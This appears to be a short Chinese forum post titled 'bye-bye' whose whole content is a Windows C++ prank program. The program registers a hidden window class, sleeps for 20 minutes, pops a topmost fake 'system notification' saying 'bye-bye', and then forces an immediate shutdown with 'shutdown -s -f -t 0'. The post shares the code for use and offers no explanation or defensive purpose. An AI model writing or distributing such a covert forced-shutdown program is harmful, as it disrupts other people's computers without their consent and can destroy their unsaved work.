拜拜
2025-09-21 20:05:15
发布于:江苏
#include <windows.h>
#include <cstdlib>
void ForceShutdown() {
system("shutdown -s -f -t 0");
}
LRESULT CALLBACK WindowProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam) {
if (uMsg == WM_DESTROY) {
PostQuitMessage(0);
return 0;
}
return DefWindowProc(hwnd, uMsg, wParam, lParam);
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
// 注册隐藏窗口类
WNDCLASS wc = {0};
wc.lpfnWndProc = WindowProc;
wc.hInstance = hInstance;
wc.lpszClassName = "HiddenShutdownClass";
RegisterClass(&wc);
// 创建不可见窗口
HWND hWnd = CreateWindowEx(
0, "HiddenShutdownClass", NULL, 0,
0, 0, 0, 0, NULL, NULL, hInstance, NULL);
// 20分钟倒计时(1200000毫秒)
Sleep(1200000);
// 创建强制置顶弹窗
MessageBoxW(NULL, L"拜拜", L"系统通知",
MB_OK | MB_SYSTEMMODAL | MB_SETFOREGROUND | MB_TOPMOST);
// 立即关机
ForceShutdown();
return 0;
}
这里空空如也















有帮助,赞一个